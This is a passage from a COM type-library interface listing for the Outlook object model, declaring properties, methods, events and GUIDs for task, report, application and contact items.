property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get HasAttachment: bool;

property-get RemoteMessageClass: BSTR;

property-get TransferSize: I4;

property-get TransferTime: I4;

property-get Links: ^Links;

Dispatch _ReportItem;

GUID={00063026-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get Links: ^Links;

Dispatch _TaskItem;

GUID={00063035-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get ActualWork: I4;

property-put ActualWork(I4);

property-get CardData: BSTR;

property-put CardData(BSTR);

property-get Complete: bool;

property-put Complete(bool);

property-get Contacts: BSTR;

property-put Contacts(BSTR);

property-get ContactNames: BSTR;

property-put ContactNames(BSTR);

property-get DateCompleted: date;

property-put DateCompleted(date);

property-get DelegationState: OlTaskDelegationState;

property-get Delegator: BSTR;

property-get DueDate: date;

property-put DueDate(date);

property-get IsRecurring: bool;

property-get Ordinal: I4;

property-put Ordinal(I4);

property-get Owner: BSTR;

property-put Owner(BSTR);

property-get Ownership: OlTaskOwnership;

property-get PercentComplete: I4;

property-put PercentComplete(I4);

property-get Recipients: ^Recipients;

property-get ReminderTime: date;

property-put ReminderTime(date);

property-get ReminderOverrideDefault: bool;

property-put ReminderOverrideDefault(bool);

property-get ReminderPlaySound: bool;

property-put ReminderPlaySound(bool);

property-get ReminderSet: bool;

property-put ReminderSet(bool);

property-get ReminderSoundFile: BSTR;

property-put ReminderSoundFile(BSTR);

property-get ResponseState: OlTaskResponse;

property-get Role: BSTR;

property-put Role(BSTR);

property-get SchedulePlusPriority: BSTR;

property-put SchedulePlusPriority(BSTR);

property-get StartDate: date;

property-put StartDate(date);

property-get Status: OlTaskStatus;

property-put Status(OlTaskStatus);

property-get StatusOnCompletionRecipients: BSTR;

property-put StatusOnCompletionRecipients(BSTR);

property-get StatusUpdateRecipients: BSTR;

property-put StatusUpdateRecipients(BSTR);

property-get TeamTask: bool;

property-put TeamTask(bool);

property-get TotalWork: I4;

property-put TotalWork(I4);

function Assign: ^TaskItem;

function CancelResponseState;

function ClearRecurrencePattern;

function GetRecurrencePattern: ^RecurrencePattern;

function MarkComplete;

function Respond(Response:OlTaskResponse; fNoUI:variant; fAdditionalTextDialog:variant): ^TaskItem;

function Send;

function SkipRecurrence: bool;

function StatusReport: IDispatch;

property-get Links: ^Links;

Class TaskItem;

GUID={00061032-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get ActualWork: I4;

property-put ActualWork(I4);

property-get CardData: BSTR;

property-put CardData(BSTR);

property-get Complete: bool;

property-put Complete(bool);

property-get Contacts: BSTR;

property-put Contacts(BSTR);

property-get ContactNames: BSTR;

property-put ContactNames(BSTR);

property-get DateCompleted: date;

property-put DateCompleted(date);

property-get DelegationState: OlTaskDelegationState;

property-get Delegator: BSTR;

property-get DueDate: date;

property-put DueDate(date);

property-get IsRecurring: bool;

property-get Ordinal: I4;

property-put Ordinal(I4);

property-get Owner: BSTR;

property-put Owner(BSTR);

property-get Ownership: OlTaskOwnership;

property-get PercentComplete: I4;

property-put PercentComplete(I4);

property-get Recipients: ^Recipients;

property-get ReminderTime: date;

property-put ReminderTime(date);

property-get ReminderOverrideDefault: bool;

property-put ReminderOverrideDefault(bool);

property-get ReminderPlaySound: bool;

property-put ReminderPlaySound(bool);

property-get ReminderSet: bool;

property-put ReminderSet(bool);

property-get ReminderSoundFile: BSTR;

property-put ReminderSoundFile(BSTR);

property-get ResponseState: OlTaskResponse;

property-get Role: BSTR;

property-put Role(BSTR);

property-get SchedulePlusPriority: BSTR;

property-put SchedulePlusPriority(BSTR);

property-get StartDate: date;

property-put StartDate(date);

property-get Status: OlTaskStatus;

property-put Status(OlTaskStatus);

property-get StatusOnCompletionRecipients: BSTR;

property-put StatusOnCompletionRecipients(BSTR);

property-get StatusUpdateRecipients: BSTR;

property-put StatusUpdateRecipients(BSTR);

property-get TeamTask: bool;

property-put TeamTask(bool);

property-get TotalWork: I4;

property-put TotalWork(I4);

function Assign: ^TaskItem;

function CancelResponseState;

function ClearRecurrencePattern;

function GetRecurrencePattern: ^RecurrencePattern;

function MarkComplete;

function Respond(Response:OlTaskResponse; fNoUI:variant; fAdditionalTextDialog:variant): ^TaskItem;

function Send;

function SkipRecurrence: bool;

function StatusReport: IDispatch;

property-get Links: ^Links;

function Open(Cancel:^bool);

function CustomAction(Action:IDispatch; Response:IDispatch; Cancel:^bool);

function CustomPropertyChange(Name:BSTR);

function Forward(Forward:IDispatch; Cancel:^bool);

function Close(Cancel:^bool);

function PropertyChange(Name:BSTR);

function Read;

function Reply(Response:IDispatch; Cancel:^bool);

function ReplyAll(Response:IDispatch; Cancel:^bool);

function Send(Cancel:^bool);

function Write(Cancel:^bool);

function BeforeCheckNames(Cancel:^bool);

function AttachmentAdd(Attachment:^Attachment);

function AttachmentRead(Attachment:^Attachment);

function BeforeAttachmentSave(Attachment:^Attachment; Cancel:^bool);

Dispatch _TaskRequestAcceptItem;

GUID={00063038-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

function GetAssociatedTask(AddToTaskList:bool): ^TaskItem;

property-get Links: ^Links;

Dispatch _TaskRequestDeclineItem;

GUID={00063039-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

function GetAssociatedTask(AddToTaskList:bool): ^TaskItem;

property-get Links: ^Links;

Dispatch _TaskRequestItem;

GUID={00063036-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

function GetAssociatedTask(AddToTaskList:bool): ^TaskItem;

property-get Links: ^Links;

Dispatch _TaskRequestUpdateItem;

GUID={00063037-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

function GetAssociatedTask(AddToTaskList:bool): ^TaskItem;

property-get Links: ^Links;

Class Application;

GUID={0006F03A-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Assistant: ^Assistant;

property-get Name: BSTR;

property-get Version: BSTR;

function ActiveExplorer: ^_Explorer;

function ActiveInspector: ^_Inspector;

function CreateItem(ItemType:OlItemType): IDispatch;

function CreateItemFromTemplate(TemplatePath:BSTR; [InFolder:variant]): IDispatch;

function CreateObject(ObjectName:BSTR): IDispatch;

function GetNamespace(Type:BSTR): ^_NameSpace;

function Quit;

property-get COMAddIns: ^COMAddIns;

property-get Explorers: ^_Explorers;

property-get Inspectors: ^_Inspectors;

property-get LanguageSettings: ^LanguageSettings;

property-get ProductCode: BSTR;

property-get AnswerWizard: ^AnswerWizard;

property-get FeatureInstall: MsoFeatureInstall;

property-put FeatureInstall(MsoFeatureInstall);

function ActiveWindow: IDispatch;

function ItemSend(Item:IDispatch; Cancel:^bool);

function NewMail;

function Reminder(Item:IDispatch);

function OptionsPagesAdd(Pages:^PropertyPages);

function Startup;

function Quit;

Class ContactItem;

GUID={00061031-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get Account: BSTR;

property-put Account(BSTR);

property-get Anniversary: date;

property-put Anniversary(date);

property-get AssistantName: BSTR;

property-put AssistantName(BSTR);

property-get AssistantTelephoneNumber: BSTR;

property-put AssistantTelephoneNumber(BSTR);

property-get Birthday: date;

property-put Birthday(date);

property-get Business2TelephoneNumber: BSTR;

property-put Business2TelephoneNumber(BSTR);

property-get BusinessAddress: BSTR;

property-put BusinessAddress(BSTR);

property-get BusinessAddressCity: BSTR;

property-put BusinessAddressCity(BSTR);

property-get BusinessAddressCountry: BSTR;

property-put BusinessAddressCountry(BSTR);

property-get BusinessAddressPostalCode: BSTR;

property-put BusinessAddressPostalCode(BSTR);

property-get BusinessAddressPostOfficeBox: BSTR;

property-put BusinessAddressPostOfficeBox(BSTR);

property-get BusinessAddressState: BSTR;

property-put BusinessAddressState(BSTR);

property-get BusinessAddressStreet: BSTR;

property-put BusinessAddressStreet(BSTR);

property-get BusinessFaxNumber: BSTR;

property-put BusinessFaxNumber(BSTR);

property-get BusinessHomePage: BSTR;

property-put BusinessHomePage(BSTR);

property-get BusinessTelephoneNumber: BSTR;

property-put BusinessTelephoneNumber(BSTR);

property-get CallbackTelephoneNumber: BSTR;

property-put CallbackTelephoneNumber(BSTR);

property-get CarTelephoneNumber: BSTR;

property-put CarTelephoneNumber(BSTR);

property-get Children: BSTR;

property-put Children(BSTR);

property-get CompanyAndFullName: BSTR;

property-get CompanyLastFirstNoSpace: BSTR;

property-get CompanyLastFirstSpaceOnly: BSTR;

property-get CompanyMainTelephoneNumber: BSTR;

property-put CompanyMainTelephoneNumber(BSTR);

property-get CompanyName: BSTR;

property-put CompanyName(BSTR);

property-get ComputerNetworkName: BSTR;

property-put ComputerNetworkName(BSTR);

property-get CustomerID: BSTR;

property-put CustomerID(BSTR);

property-get Department: BSTR;

property-put Department(BSTR);

property-get Email1Address: BSTR;

property-put Email1Address(BSTR);

property-get Email1AddressType: BSTR;

property-put Email1AddressType(BSTR);

property-get Email1DisplayName: BSTR;

property-get Email1EntryID: BSTR;

property-get Email2Address: BSTR;

property-put Email2Address(BSTR);

property-get Email2AddressType: BSTR;

property-put Email2AddressType(BSTR);

property-get Email2DisplayName: BSTR;

property-get Email2EntryID: BSTR;

property-get Email3Address: BSTR;

property-put Email3Address(BSTR);

property-get Email3AddressType: BSTR;

property-put Email3AddressType(BSTR);

property-get Email3DisplayName: BSTR;

property-get Email3EntryID: BSTR;

property-get FileAs: BSTR;

property-put FileAs(BSTR);

property-get FirstName: BSTR;

property-put FirstName(BSTR);

property-get FTPSite: BSTR;

property-put FTPSite(BSTR);

property-get FullName: BSTR;

property-put FullName(BSTR);

property-get FullNameAndCompany: BSTR;

property-get Gender: OlGender;

property-put Gender(OlGender);

property-get GovernmentIDNumber: BSTR;

property-put GovernmentIDNumber(BSTR);

property-get Hobby: BSTR;

property-put Hobby(BSTR);

property-get Home2TelephoneNumber: BSTR;

property-put Home2TelephoneNumber(BSTR);

property-get HomeAddress: BSTR;

property-put HomeAddress(BSTR);

property-get HomeAddressCity: BSTR;

property-put HomeAddressCity(BSTR);

property-get HomeAddressCountry: BSTR;

property-put HomeAddressCountry(BSTR);

property-get HomeAddressPostalCode: BSTR;

property-put HomeAddressPostalCode(BSTR);

property-get HomeAddressPostOfficeBox: BSTR;

property-put HomeAddressPostOfficeBox(BSTR);

property-get HomeAddressState: BSTR;

property-put HomeAddressState(BSTR);

property-get HomeAddressStreet: BSTR;

property-put HomeAddressStreet(BSTR);

property-get HomeFaxNumber: BSTR;

property-put HomeFaxNumber(BSTR);

property-get HomeTelephoneNumber: BSTR;

property-put HomeTelephoneNumber(BSTR);

property-get Initials: BSTR;

property-put Initials(BSTR);

property-get InternetFreeBusyAddress: BSTR;

property-put InternetFreeBusyAddress(BSTR);

property-get ISDNNumber: BSTR;

property-put ISDNNumber(BSTR);

property-get JobTitle: BSTR;

property-put JobTitle(BSTR);

property-get Journal: bool;

property-put Journal(bool);

property-get Language: BSTR;

property-put Language(BSTR);

property-get LastFirstAndSuffix: BSTR;

property-get LastFirstNoSpace: BSTR;

property-get LastFirstNoSpaceCompany: BSTR;

property-get LastFirstSpaceOnly: BSTR;

property-get LastFirstSpaceOnlyCompany: BSTR;

property-get LastName: BSTR;

property-put LastName(BSTR);

property-get LastNameAndFirstName: BSTR;

property-get MailingAddress: BSTR;

property-put MailingAddress(BSTR);

property-get MailingAddressCity: BSTR;

property-put MailingAddressCity(BSTR);

property-get MailingAddressCountry: BSTR;

property-put MailingAddressCountry(BSTR);

property-get MailingAddressPostalCode: BSTR;

property-put MailingAddressPostalCode(BSTR);

property-get MailingAddressPostOfficeBox: BSTR;

property-put MailingAddressPostOfficeBox(BSTR);

property-get MailingAddressState: BSTR;

property-put MailingAddressState(BSTR);

property-get MailingAddressStreet: BSTR;

property-put MailingAddressStreet(BSTR);

property-get ManagerName: BSTR;

property-put ManagerName(BSTR);

property-get MiddleName: BSTR;

property-put MiddleName(BSTR);

property-get MobileTelephoneNumber: BSTR;

property-put MobileTelephoneNumber(BSTR);

property-get NetMeetingAlias: BSTR;

property-put NetMeetingAlias(BSTR);

property-get NetMeetingServer: BSTR;

property-put NetMeetingServer(BSTR);

property-get NickName: BSTR;

property-put NickName(BSTR);

property-get OfficeLocation: BSTR;

property-put OfficeLocation(BSTR);

property-get OrganizationalIDNumber: BSTR;

property-put OrganizationalIDNumber(BSTR);

property-get OtherAddress: BSTR;

property-put OtherAddress(BSTR);

property-get OtherAddressCity: BSTR;

property-put OtherAddressCity(BSTR);

property-get OtherAddressCountry: BSTR;

property-put OtherAddressCountry(BSTR);

property-get OtherAddressPostalCode: BSTR;

property-put OtherAddressPostalCode(BSTR);

property-get OtherAddressPostOfficeBox: BSTR;

property-put OtherAddressPostOfficeBox(BSTR);

property-get OtherAddressState: BSTR;

property-put OtherAddressState(BSTR);

property-get OtherAddressStreet: BSTR;

property-put OtherAddressStreet(BSTR);

property-get OtherFaxNumber: BSTR;

property-put OtherFaxNumber(BSTR);

property-get OtherTelephoneNumber: BSTR;

property-put OtherTelephoneNumber(BSTR);

property-get PagerNumber: BSTR;

property-put PagerNumber(BSTR);

property-get PersonalHomePage: BSTR;

property-put PersonalHomePage(BSTR);

property-get PrimaryTelephoneNumber: BSTR;

property-put PrimaryTelephoneNumber(BSTR);

property-get Profession: BSTR;

property-put Profession(BSTR);

property-get RadioTelephoneNumber: BSTR;

property-put RadioTelephoneNumber(BSTR);

property-get ReferredBy: BSTR;

property-put ReferredBy(BSTR);

property-get SelectedMailingAddress: OlMailingAddress;

property-put SelectedMailingAddress(OlMailingAddress);

property-get Spouse: BSTR;

property-put Spouse(BSTR);

property-get Suffix: BSTR;

property-put Suffix(BSTR);

